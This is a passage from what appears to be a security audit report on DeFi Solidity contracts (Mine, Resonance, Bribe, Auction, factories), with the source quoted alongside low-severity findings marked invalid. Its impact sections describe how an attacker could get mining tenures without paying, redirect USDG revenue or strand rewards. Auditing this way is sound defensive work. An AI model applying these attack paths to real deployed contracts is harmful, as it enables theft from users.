            emit MinerPaymentAccrued(previousMiner, epochId, previousMinerAmount);
        }

        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
    }
```
⋯
#### Lines 415-433 — _Payment collection and revenue deposit use SafeERC20 calls without checking sender or receiver balance deltas._ — _Collection relies on SafeERC20 call success and explicitly documents that sender/receiver balance deltas are not checked._

```
    /// @dev Pulls the complete raw USDG payment from `payer`, then transfers the exhaustive remainder to
    ///      the snapshotted revenue destination. The retained balance backs all pull claims. Sender and receiver
    ///      balance deltas are not checked because USDG is assumed to be a standard, non-rebasing ERC-20.
    /// @param payer Account funding the replacement.
    /// @param router Revenue destination snapshotted before the replacement's token interactions.
    /// @param epochId Identifier of the tenure consumed by the replacement.
    /// @param paymentAmount Complete raw USDG amount pulled from `payer`.
    /// @param revenueAmount Raw USDG amount transferred to the snapshotted destination.
    function _collectAndDeposit(
        address payer,
        address router,
        uint256 epochId,
        uint256 paymentAmount,
        uint256 revenueAmount
    ) private {
        usdg.safeTransferFrom(payer, address(this), paymentAmount);
        usdg.safeTransfer(router, revenueAmount);

        emit RevenueDeposited(epochId, router, revenueAmount);
```
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol`
#### Lines 127-134 — _Periphery transfers and approves nominal payment amounts without measuring received balance, then clears approval after the downstream call._

```
        IERC20 usdg = IERC20(address(launchpad.usdg()));
        if (paymentAmount != 0) {
            usdg.safeTransferFrom(msg.sender, address(this), paymentAmount);
            usdg.forceApprove(record.mine, paymentAmount);
        }
        emit MiningStarted(msg.sender, record.mine, expectedEpochId);
        coreMine.mine(miner, expectedEpochId, deadline, maximumPayment, message);
        if (paymentAmount != 0) usdg.forceApprove(record.mine, 0);
```
### `Uploaded archive/packages/contracts/test/minimal/utils/Tokens.sol` (2 locations)
#### Lines 28-50 — _Fixture demonstrates fee-on-transfer behavior that changes the recipient amount from the nominal transfer value._

```
/// @title FeeOnTransferToken
/// @notice Deflationary token that skims a configurable fee on every non-mint transfer.
/// @dev Used only as fail-closed evidence. The protocol specifies standard, non-rebasing ERC-20s.
contract FeeOnTransferToken is MockERC20 {
    address public constant FEE_SINK = address(0xFEE5);

    uint256 public feeBps;

    constructor(uint8 decimals_) MockERC20("Fee On Transfer", "FOT", decimals_) { }

    function setFeeBps(uint256 newFeeBps) external {
        feeBps = newFeeBps;
    }

    function _update(address from, address to, uint256 value) internal override {
        if (from == address(0) || to == address(0) || feeBps == 0) {
            super._update(from, to, value);
            return;
        }

        uint256 fee = (value * feeBps) / 10_000;
        super._update(from, to, value - fee);
        if (fee != 0) super._update(from, FEE_SINK, fee);
```
⋯
#### Lines 105-113 — _Fixture demonstrates an otherwise-transferable token that rejects zero approvals, relevant to Periphery's cleanup call._

```
/// @title ZeroApprovalRevertingToken
/// @notice BNB-style ERC-20 that rejects zero approvals while otherwise transferring conventionally.
contract ZeroApprovalRevertingToken is MockERC20 {
    constructor(uint8 decimals_) MockERC20("Zero Approval Reverter", "ZAR", decimals_) { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        if (amount == 0) revert("ZERO_APPROVAL");
        return super.approve(spender, amount);
    }
```
## Description

`Launchpad` accepts USDG based only on deployed code and `decimals() == 6`, which does not establish standard ERC-20 transfer or approval semantics. During a paid replacement, `Mine` allocates claims and commits the next slot using the nominal `paymentAmount` before calling `_collectAndDeposit`. That collection path treats successful `SafeERC20` calls as sufficient and does not verify that Mine received the required amount or that the revenue router received its nominal share. Consequently, a six-decimal token that returns success without moving balances can make a replacement appear paid, while a balance-distorting token such as a fee-on-transfer token can underfund the nominal liabilities; the Periphery handoff likewise approves a nominal amount without measuring what it received. Restrict USDG to a trusted canonical implementation (including controlling upgradeability) and enforce exact balance-transition invariants before crediting liabilities or finalizing a paid replacement.
## Root cause

The USDG trust boundary validates only code presence and decimal metadata, while `Mine` and the Periphery handoff account for nominal transfer amounts rather than verified balance changes.
## Impact

An attacker able to cause a launch to use a deceptive accepted USDG can obtain mining tenures without supplying the quoted payment and later receive the resulting Coin emissions. Nominal miner, creator, and protocol claims, as well as router revenue, may be recorded without corresponding USDG backing, so claimants or revenue recipients can be unable to receive their recorded amounts.

---

# Unauthenticated factory outputs can corrupt strategy registration
**#303398**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (4 locations)
#### Lines 234-257 — _Resonance constructor accepts factory dependencies after only zero/code checks._ — _Constructor validates factory dependencies only by nonzero address and deployed code._ — _Resonance constructor checks only that factory addresses are nonzero and deployed._

```
    constructor(
        IERC20 signalCoin_,
        IERC20 usdg_,
        address fund_,
        BribeFactory bribeFactory_,
        AuctionFactory auctionFactory_,
        address initialOwner,
        address initialSignalManager
    ) Ownable(initialOwner) {
        if (
            address(signalCoin_) == address(0) || address(usdg_) == address(0) || fund_ == address(0)
                || address(bribeFactory_) == address(0) || address(auctionFactory_) == address(0)
                || address(signalCoin_).code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || address(bribeFactory_).code.length == 0 || address(auctionFactory_).code.length == 0
        ) revert ZeroAddress();

        signalCoin = signalCoin_;
        usdg = usdg_;
        fund = fund_;
        bribeFactory = bribeFactory_;
        auctionFactory = auctionFactory_;
        signalManager = initialSignalManager;
        bribeBps = initialSignalManager == address(0) ? DEFAULT_BRIBE_BPS : 0;
    }
```
⋯
#### Lines 293-311 — _Removal resolves the Bribe through the canonical strategy mapping, making a mapping collision disconnect prior recorded positions._ — _Signal removal uses the Bribe currently stored for the strategy key, so overwriting that mapping disconnects prior Bribe balances._

```
    function removeSignalFor(address account, address strategy, uint256 amount)
        external
        override
        nonReentrant
        onlySignalCoin
    {
        if (account == address(0)) revert ZeroAddress();
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (amount == 0) revert ZeroAmount();

        Bribe bribe = Bribe(bribeFor[strategy]);
        uint256 allocated = bribe.signalWeightOf(account);
        if (amount > allocated) revert InsufficientSignal(strategy, allocated, amount);

        _updateRevenue(strategy);

        if (isStrategyLive[strategy]) totalSignalWeight -= amount;
        bribe.removeSignalWeight(account, amount);

```
⋯
#### Lines 373-383 — _Revenue distribution transfers USDG directly to the caller-supplied strategy key after using its stored accounting._

```
    function distributeRevenue(address strategy) external override nonReentrant returns (uint256 amount) {
        _updateRevenue(strategy);
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);

        amount = strategyRevenue[strategy];
        if (amount == 0) return 0;

        strategyRevenue[strategy] = 0;
        usdg.safeTransfer(strategy, amount);

        emit RevenueDistributed(msg.sender, strategy, amount);
```
⋯
#### Lines 452-479 — _addStrategy persists both factory return values and the returned Auction key without identity checks._ — _Strategy creation trusts factory-returned Bribe, Auction, and BribeRouter addresses and records them._

```
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        nonReentrant
        onlyOwner
        returns (address strategyAddress, address bribeAddress, address bribeRouterAddress)
    {
        if (address(paymentToken) == address(signalCoin)) {
            revert ForbiddenPaymentToken(address(paymentToken));
        }

        Bribe bribe = bribeFactory.createBribe();
        bribe.addRewardToken(address(paymentToken));

        (Auction auction, BribeRouter bribeRouter) =
            auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);

        strategyAddress = address(auction);
        bribeAddress = address(bribe);
        bribeRouterAddress = address(bribeRouter);

        bribeFor[strategyAddress] = bribeAddress;
        isStrategyLive[strategyAddress] = true;
        ++strategyCount;
        ++liveStrategyCount;
        bribeRouterFor[strategyAddress] = bribeRouterAddress;
        strategyRevenuePerSignalPaid[strategyAddress] = revenueData.revenuePerSignalStored;

        emit StrategyAdded(strategyAddress, bribeAddress, bribeRouterAddress, address(paymentToken));
```
### `Uploaded archive/packages/contracts/src/core/BribeFactory.sol`
#### Lines 10-16 — _The canonical BribeFactory's fresh-deployment behavior is an implementation property, not enforced by Resonance._

```
contract BribeFactory {
    /// @notice Deploys a new empty Bribe controlled by the calling Resonance.
    /// @dev The caller needs deployed code; externally owned accounts and contracts under construction are rejected.
    /// @return bribe Newly deployed Bribe controlled by `msg.sender`.
    function createBribe() external returns (Bribe bribe) {
        bribe = new Bribe(msg.sender);
    }
```
### `Uploaded archive/packages/contracts/src/core/AuctionFactory.sol`
#### Lines 15-34 — _The canonical AuctionFactory freshly deploys the Auction and Router but exposes no invariant that Resonance verifies._ — _Factory accepts a caller-supplied Bribe and returns newly constructed contracts without exposing or enforcing reciprocal graph checks._ — _Factory constructs downstream objects from caller-supplied parameters without output or linkage validation._

```
contract AuctionFactory {
    /// @notice Deploys an Auction and its dedicated BribeRouter for the calling Resonance.
    /// @dev Resonance supplies the Bribe it just created. Constructors validate dependencies and auction bounds.
    /// @param usdg USDG revenue token sold by the new Auction.
    /// @param paymentToken ERC-20 asset buyers pay and the BribeRouter buffers.
    /// @param fund Treasury receiving the non-Bribe share of each purchase payment.
    /// @param bribe Existing Bribe controlled by the caller and paired with the new Auction and BribeRouter.
    /// @param config Immutable auction configuration for the new Auction.
    /// @return auction Newly deployed Auction contract.
    /// @return bribeRouter Newly deployed BribeRouter paired with `auction` and `bribe`.
    function createAuctionAndRouter(
        IERC20 usdg,
        IERC20 paymentToken,
        address fund,
        Bribe bribe,
        Auction.Config calldata config
    ) external returns (Auction auction, BribeRouter bribeRouter) {
        auction = new Auction(msg.sender, usdg, paymentToken, fund, config);
        bribeRouter = new BribeRouter(IBribe(address(bribe)), paymentToken);
    }
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol`
#### Lines 225-227 — _Auction payment routing resolves the Router from Resonance's mutable per-strategy mapping._

```
        address router = configuredResonance.bribeRouterFor(address(this));
        if (router == address(0)) revert ZeroAddress();
        paymentToken.safeTransferFrom(buyer, router, bribeAmount);
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 208-218 — _Launchpad installs shared factory addresses after code-presence checks only._

```
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
```
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol`
#### Lines 34-46 — _Router constructor checks only nonzero deployed dependencies and does not validate Bribe/payment-token pairing._

```
    /// @notice Creates the fixed route between one payment token and its paired Bribe.
    /// @dev Requires nonzero, deployed dependencies. Does not check whether the Bribe has registered the payment token.
    /// @param bribe_ Bribe paired with the Auction and authorized to pull routed tokens.
    /// @param paymentToken_ Auction payment token held by this Router before distribution.
    constructor(IBribe bribe_, IERC20 paymentToken_) {
        if (
            address(bribe_) == address(0) || address(paymentToken_) == address(0) || address(bribe_).code.length == 0
                || address(paymentToken_).code.length == 0
        ) revert ZeroAddress();

        paymentToken = paymentToken_;
        bribe = bribe_;
    }
```
## Description

`Resonance` and the Launchpad accept Bribe and Auction factory dependencies based on nonzero addresses and deployed code, rather than authenticating the factories or their outputs. During `addStrategy`, `Resonance` accepts the returned Bribe, Auction, and BribeRouter addresses as a strategy graph and writes them to canonical mappings without verifying freshness, absence of an existing strategy key, or their expected bindings to this `Resonance`, `usdg`, `paymentToken`, `fund`, and one another. Although the canonical factories construct fresh, correctly parameterized contracts, that behavior is not enforced before the return values are committed. A substituted or misconfigured factory can consequently reuse an existing Auction address, return unrelated contracts, or register an attacker-controlled strategy address. Reusing a strategy key overwrites `bribeFor` and disconnects prior signal positions from the Bribe consulted by removal, while arbitrary strategy keys also become recipients in revenue distribution.
## Root cause

`addStrategy` treats values returned by factories that are only code-checked as trusted, fresh strategy components and commits them without validating their configuration, mutual linkage, or registry uniqueness.
## Impact

A configured malicious or misbound factory can cause accrued USDG to be transferred to an attacker-controlled address through the permissionless `distributeRevenue` path. Reusing an existing Auction key can overwrite its Bribe association, leaving prior signal positions unable to be removed and corrupting strategy and live-weight accounting.

---

# Zero-signal bribe routing permanently strands streamed rewards
**#303399**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol`
#### Lines 48-65 — _Permissionless route forwards the complete buffer without checking paired Bribe signal weight._ — _Routing is threshold-gated but has no active-signal check and transfers the complete buffer through notification._ — _Permissionless routing checks only buffer/stream thresholds and calls notifyReward._

```
    /// @notice Routes the complete payment-token balance into the paired Bribe when funding qualifies.
    /// @dev Permissionless. Returns zero without changing state when the balance is zero, below `REWARD_DURATION` raw
    ///      units, or below the Bribe's remaining scheduled reward. Otherwise, approves the exact balance for the Bribe
    ///      to pull and restart its stream. A failure preserves the buffer. The full balance must fit the Bribe's
    ///      remaining lifetime capacity; the cap never resets and exhaustion permanently prevents new funding for that
    ///      token. Routing failure does not revert previously completed Auction purchases.
    /// @return amount Raw payment-token units routed, or zero when the buffer must continue accumulating.
    function route() external returns (uint256 amount) {
        amount = paymentToken.balanceOf(address(this));
        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
            return 0;
        }

        paymentToken.forceApprove(address(bribe), amount);
        bribe.notifyReward(address(paymentToken), amount);

        emit RewardRouted(address(bribe), address(paymentToken), amount);
    }
```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol` (5 locations)
#### Lines 173-205 — _notifyReward accepts qualifying funding and starts a seven-day stream without requiring nonzero signal._ — _notifyReward accepts funding and starts the stream without checking totalSignalWeight._

```
    /// @notice Pulls fresh funding from the caller and restarts a registered token's seven-day reward stream.
    /// @dev Permissionless. Fresh `amount` must meet `REWARD_DURATION` and `remainingReward` and fit the lifetime cap.
    ///      These checks precede checkpointing and transfer. The new budget combines fresh funding, remaining scheduled
    ///      rewards, and the saved rate-division remainder. Division by `REWARD_DURATION` sets the whole-unit rate and
    ///      saves a new remainder for the next qualifying stream's signalers. The remainder stays pending if no further
    ///      funding qualifies. The period restarts; only fresh deposits increase the lifetime counter.
    /// @param rewardToken Registered standard ERC-20 token to pull and stream.
    /// @param amount Fresh raw token units pulled from the caller and counted toward the lifetime cap.
    function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
        _requireRewardToken(rewardToken);
        if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);

        uint256 notified = lifetimeRewardNotified[rewardToken];
        uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
        if (amount > maximum - notified) {
            revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
        }

        uint256 remaining = remainingReward(rewardToken);
        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);

        _updateReward(address(0), rewardToken);
        IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);

        RewardData storage data = rewardData[rewardToken];
        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
        data.rewardRate = budget / REWARD_DURATION;
        _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRewardNotified[rewardToken] = notified + amount;

        emit RewardNotified(rewardToken, amount);
```
⋯
#### Lines 212-218 — _Later signal additions checkpoint rewards before increasing the Bribe weight._

```
    function addSignalWeight(address account, uint256 amount) external onlyResonance {
        if (amount == 0) revert ZeroAmount();
        if (account == address(0)) revert ZeroAddress();

        _updateAllRewards(account);
        totalSignalWeight += amount;
        signalWeightOf[account] += amount;
```
⋯
#### Lines 271-284 — _rewardPerSignal leaves the index unchanged when total signal weight is zero._ — _rewardPerSignal leaves the index unchanged when totalSignalWeight is zero._

```
    /// @notice Returns the live cumulative reward allocated per raw signal unit for one reward token.
    /// @dev The result is scaled by `REWARD_PRECISION` and each index increment rounds down. Accrual stops at
    ///      `periodFinish`. If total signal weight is zero, the index remains unchanged and elapsed rewards cannot be
    ///      captured by accounts that add weight later.
    /// @param rewardToken Reward token whose cumulative index is queried; unregistered tokens return zero.
    /// @return accumulatedReward Cumulative reward-per-signal index scaled by `REWARD_PRECISION`.
    function rewardPerSignal(address rewardToken) public view returns (uint256 accumulatedReward) {
        RewardData storage data = rewardData[rewardToken];
        uint256 signalWeight = totalSignalWeight;
        if (signalWeight == 0) return data.rewardPerSignalStored;

        uint256 elapsed = _lastApplicableRewardTime(rewardToken) - data.lastUpdateTime;
        return data.rewardPerSignalStored + Math.mulDiv(elapsed * data.rewardRate, REWARD_PRECISION, signalWeight);
    }
```
⋯
#### Lines 299-320 — _The checkpoint advances the stream timestamp and records the unchanged index before weight is changed._ — _Later checkpoints only credit weight against the unchanged index, excluding the zero-weight interval._

```
    function _updateAllRewards(address account) private {
        uint256 count = _rewardTokens.length;
        for (uint256 i; i < count; ++i) {
            _updateReward(account, _rewardTokens[i]);
        }
    }

    /// @dev Persists one stream's live cumulative index and applicable timestamp. For a nonzero `account`, converts
    ///      its index delta at its current signal weight into whole raw-token rewards, rounded down, before recording
    ///      the new paid index.
    /// @param account Account to checkpoint, or the zero address to update only global stream state.
    /// @param rewardToken Reward token whose stream and optional account entitlement are checkpointed.
    function _updateReward(address account, address rewardToken) private {
        RewardData storage data = rewardData[rewardToken];
        uint256 current = rewardPerSignal(rewardToken);
        data.rewardPerSignalStored = current;
        data.lastUpdateTime = _lastApplicableRewardTime(rewardToken);

        if (account != address(0)) {
            uint256 rewardDelta = current - accountRewardPerSignalPaid[account][rewardToken];
            rewards[account][rewardToken] += Math.mulDiv(signalWeightOf[account], rewardDelta, REWARD_PRECISION);
            accountRewardPerSignalPaid[account][rewardToken] = current;
```
⋯
#### Lines 324-335 — _Claims transfer only recorded account rewards; no path pays unallocated stream balance._

```
    /// @dev Clears and transfers one account's checkpointed whole-unit reward using checks-effects-interactions.
    /// @param account Entitled transfer recipient.
    /// @param rewardToken Reward token to transfer.
    /// @return amount Raw token units transferred, or zero when no checkpointed reward exists.
    function _claim(address account, address rewardToken) private returns (uint256 amount) {
        amount = rewards[account][rewardToken];
        if (amount == 0) return 0;

        rewards[account][rewardToken] = 0;
        IERC20(rewardToken).safeTransfer(account, amount);

        emit RewardPaid(account, rewardToken, amount);
```
## Description

`BribeRouter.route` is permissionless and forwards its entire qualifying payment-token buffer to `Bribe.notifyReward` without requiring `totalSignalWeight` to be nonzero. `notifyReward` accepts the transfer and starts a new `REWARD_DURATION` stream without enforcing an active-signal condition. While total weight is zero, `rewardPerSignal` returns the unchanged stored index, so elapsed emissions produce no account entitlement. A later signal addition checkpoints rewards before increasing weight, preserving the skipped interval rather than allocating it to the new signaler. Claims transfer only amounts recorded for an account, leaving emissions from the zero-signal interval unclaimable in the Bribe.
## Root cause

The routing and notification flow permits a reward stream to begin without requiring `totalSignalWeight > 0`, although the reward-index accounting intentionally does not allocate emissions while total weight is zero.
## Impact

Any caller can route an accumulated buffer during a zero-signal interval once the existing thresholds are met, causing rewards emitted before signaling resumes to become permanently unclaimable. If no signal is added before the stream ends, the whole routed stream is stranded; otherwise, only emissions from the remaining stream duration can be earned.

---

# Public factory deploys strategy graphs without required registrations
**#303400**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/AuctionFactory.sol`
#### Lines 25-34 — _AuctionFactory binds Auction authority to msg.sender but accepts an arbitrary Bribe and pairs it with a Router._ — _The public factory binds Auction authority to the arbitrary caller and accepts a caller-supplied Bribe without registration or token-consistency checks._

```
    function createAuctionAndRouter(
        IERC20 usdg,
        IERC20 paymentToken,
        address fund,
        Bribe bribe,
        Auction.Config calldata config
    ) external returns (Auction auction, BribeRouter bribeRouter) {
        auction = new Auction(msg.sender, usdg, paymentToken, fund, config);
        bribeRouter = new BribeRouter(IBribe(address(bribe)), paymentToken);
    }
```
### `Uploaded archive/packages/contracts/src/core/BribeFactory.sol`
#### Lines 11-16 — _BribeFactory creates a Bribe controlled by whichever caller invokes it._

```
    /// @notice Deploys a new empty Bribe controlled by the calling Resonance.
    /// @dev The caller needs deployed code; externally owned accounts and contracts under construction are rejected.
    /// @return bribe Newly deployed Bribe controlled by `msg.sender`.
    function createBribe() external returns (Bribe bribe) {
        bribe = new Bribe(msg.sender);
    }
```
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol` (3 locations)
#### Lines 34-46 — _Router constructor checks code-bearing dependencies but does not verify reward-token registration or graph identity._ — _The router constructor checks only zero addresses and deployed bytecode, not Bribe authority or payment-token registration._

```
    /// @notice Creates the fixed route between one payment token and its paired Bribe.
    /// @dev Requires nonzero, deployed dependencies. Does not check whether the Bribe has registered the payment token.
    /// @param bribe_ Bribe paired with the Auction and authorized to pull routed tokens.
    /// @param paymentToken_ Auction payment token held by this Router before distribution.
    constructor(IBribe bribe_, IERC20 paymentToken_) {
        if (
            address(bribe_) == address(0) || address(paymentToken_) == address(0) || address(bribe_).code.length == 0
                || address(paymentToken_).code.length == 0
        ) revert ZeroAddress();

        paymentToken = paymentToken_;
        bribe = bribe_;
    }
```
⋯
#### Lines 48-62 — _The router can buffer funds and invoke notification; a downstream registration failure reverts routing._

```
    /// @notice Routes the complete payment-token balance into the paired Bribe when funding qualifies.
    /// @dev Permissionless. Returns zero without changing state when the balance is zero, below `REWARD_DURATION` raw
    ///      units, or below the Bribe's remaining scheduled reward. Otherwise, approves the exact balance for the Bribe
    ///      to pull and restart its stream. A failure preserves the buffer. The full balance must fit the Bribe's
    ///      remaining lifetime capacity; the cap never resets and exhaustion permanently prevents new funding for that
    ///      token. Routing failure does not revert previously completed Auction purchases.
    /// @return amount Raw payment-token units routed, or zero when the buffer must continue accumulating.
    function route() external returns (uint256 amount) {
        amount = paymentToken.balanceOf(address(this));
        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
            return 0;
        }

        paymentToken.forceApprove(address(bribe), amount);
        bribe.notifyReward(address(paymentToken), amount);
```
⋯
#### Lines 55-63 — _Route attempts notification only after the buffer threshold; Bribe rejects unregistered payment tokens._

```
    function route() external returns (uint256 amount) {
        amount = paymentToken.balanceOf(address(this));
        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
            return 0;
        }

        paymentToken.forceApprove(address(bribe), amount);
        bribe.notifyReward(address(paymentToken), amount);

```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol`
#### Lines 173-195 — _notifyReward requires a registered token before pulling funds._ — _`notifyReward` requires a registered token before pulling funds._

```
    /// @notice Pulls fresh funding from the caller and restarts a registered token's seven-day reward stream.
    /// @dev Permissionless. Fresh `amount` must meet `REWARD_DURATION` and `remainingReward` and fit the lifetime cap.
    ///      These checks precede checkpointing and transfer. The new budget combines fresh funding, remaining scheduled
    ///      rewards, and the saved rate-division remainder. Division by `REWARD_DURATION` sets the whole-unit rate and
    ///      saves a new remainder for the next qualifying stream's signalers. The remainder stays pending if no further
    ///      funding qualifies. The period restarts; only fresh deposits increase the lifetime counter.
    /// @param rewardToken Registered standard ERC-20 token to pull and stream.
    /// @param amount Fresh raw token units pulled from the caller and counted toward the lifetime cap.
    function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
        _requireRewardToken(rewardToken);
        if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);

        uint256 notified = lifetimeRewardNotified[rewardToken];
        uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
        if (amount > maximum - notified) {
            revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
        }

        uint256 remaining = remainingReward(rewardToken);
        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);

        _updateReward(address(0), rewardToken);
        IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (2 locations)
#### Lines 462-477 — _Canonical flow creates the Bribe, registers paymentToken, creates the Auction/Router, and stores the returned mappings atomically._

```
        Bribe bribe = bribeFactory.createBribe();
        bribe.addRewardToken(address(paymentToken));

        (Auction auction, BribeRouter bribeRouter) =
            auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);

        strategyAddress = address(auction);
        bribeAddress = address(bribe);
        bribeRouterAddress = address(bribeRouter);

        bribeFor[strategyAddress] = bribeAddress;
        isStrategyLive[strategyAddress] = true;
        ++strategyCount;
        ++liveStrategyCount;
        bribeRouterFor[strategyAddress] = bribeRouterAddress;
        strategyRevenuePerSignalPaid[strategyAddress] = revenueData.revenuePerSignalStored;
```
⋯
#### Lines 517-523 — _Canonical Strategy registration is only the local `bribeFor` mapping._

```
    /// @notice Returns whether this Resonance permanently registered a Strategy identified by its Auction address.
    /// @dev Registration is derived from the append-only canonical Bribe mapping instead of duplicated storage.
    /// @param strategy Strategy address to query.
    /// @return registered True when `strategy` has a canonical Bribe.
    function isStrategyRegistered(address strategy) public view returns (bool registered) {
        return bribeFor[strategy] != address(0);
    }
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol` (2 locations)
#### Lines 161-183 — _Buy snapshots the caller's bribe share and enters payment settlement for nonzero-price fills._

```
    function buy(address revenueReceiver, uint256 expectedEpochId, uint256 deadline, uint256 maximumPayment)
        external
        nonReentrant
        returns (uint256 paymentAmount)
    {
        if (revenueReceiver == address(0)) revert ZeroAddress();
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        if (expectedEpochId != epochId) revert EpochIdMismatch(expectedEpochId, epochId);

        // Fix the split before token calls, including when the payment token is USDG.
        IResonance configuredResonance = IResonance(resonance);
        uint256 appliedBribeBps = configuredResonance.bribeBps();

        // Include USDG released through this timestamp, before collecting the purchase payment.
        configuredResonance.distributeRevenue(address(this));
        uint256 revenueAmount = usdg.balanceOf(address(this));
        if (revenueAmount == 0) revert EmptyRevenue();

        paymentAmount = currentPrice();
        if (paymentAmount > maximumPayment) revert MaximumPaymentExceeded(paymentAmount, maximumPayment);

        if (paymentAmount != 0) {
            _settlePayment(configuredResonance, msg.sender, paymentAmount, appliedBribeBps);
```
⋯
#### Lines 219-227 — _Nonzero bribe share requires a nonzero bribeRouterFor result and otherwise reverts._

```
        uint256 bribeAmount = Math.mulDiv(paymentAmount, appliedBribeBps, BPS);
        uint256 fundAmount = paymentAmount - bribeAmount;

        if (fundAmount != 0) paymentToken.safeTransferFrom(buyer, fund, fundAmount);
        if (bribeAmount == 0) return;

        address router = configuredResonance.bribeRouterFor(address(this));
        if (router == address(0)) revert ZeroAddress();
        paymentToken.safeTransferFrom(buyer, router, bribeAmount);
```
### `Uploaded archive/packages/contracts/test/minimal/Auction.t.sol`
#### Lines 465-477 — _A factory-independent orphan Auction with an unset router is directly exercised and the buy is expected to revert with ZeroAddress._

```
    function test_AcquisitionRevertsWhenTheBribeRouterIsUnset() external {
        StubResonance stub = new StubResonance();

        Auction orphan =
            new Auction(address(stub), IERC20(address(usdg)), IERC20(address(target)), address(fund), defaultConfig());

        usdg.mint(address(orphan), 50_000_000);
        target.mint(CAROL, DEFAULT_INITIAL_PRICE);

        vm.startPrank(CAROL);
        target.approve(address(orphan), DEFAULT_INITIAL_PRICE);
        vm.expectRevert(Auction.ZeroAddress.selector);
        orphan.buy(CAROL, 0, block.timestamp, DEFAULT_INITIAL_PRICE);
```
## Description

`AuctionFactory.createAuctionAndRouter` publicly deploys an `Auction` bound to `msg.sender` and a router for an arbitrary caller-provided `Bribe`, but does not establish the canonical strategy registration that the deployed Auction expects. In particular, it neither ensures that the caller records `bribeRouterFor[address(auction)]` nor verifies that the paired Bribe is configured to accept the auction's `paymentToken`. A nonzero `bribeBps` consequently makes `Auction.buy` revert when the caller's router mapping is unset, despite the factory having returned a router address. If a caller does provide a router mapping but the Bribe has not registered the payment token, purchases can complete and transfer the bribe share to the router, while `route` reverts at `Bribe.notifyReward`. The canonical `Resonance` flow avoids both states by registering the reward token and storing the auction, Bribe, and router relationship atomically, whereas public factory outputs have no equivalent invariant enforcement.
## Root cause

`AuctionFactory.createAuctionAndRouter` permits noncanonical component deployment without atomically enforcing the `Resonance` router registration and Bribe payment-token invariants required by `Auction` settlement and `BribeRouter.route`.
## Impact

Factory-created graphs can have an unusable sale path whenever a nonzero bribe split is configured without a corresponding `bribeRouterFor` entry. Alternatively, buyers can complete purchases but have the bribe-share payment accumulate in a router that cannot notify its Bribe because the payment token is unregistered. These failure modes affect noncanonical deployments and can leave their inventory unsold or routed balances unavailable to the intended reward stream.

---

# Unsupported assets can be permanently registered as markets
**#303401**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol` (2 locations)
#### Lines 50-71 — _Factory admission calls only decimals(), then registers and mirrors the market in all discovery structures._

```
    /// @notice Registers one market for existing ERC20s; duplicate markets revert. Only the caller can make its first deposit.
    /// @dev Both assets must expose ERC20 decimals between zero and eighteen, inclusive.
    function create(address coin, address base, address poolOwner, address coinRecipient, address baseRecipient)
        external
        returns (FullRangeERC20 pool)
    {
        if (IERC20Metadata(coin).decimals() > 18 || IERC20Metadata(base).decimals() > 18) revert InvalidInput();
        pool = hook.registerPool(
            FullRangeERC20.Config({
                creator: msg.sender,
                coin: coin,
                baseToken: base,
                owner: poolOwner,
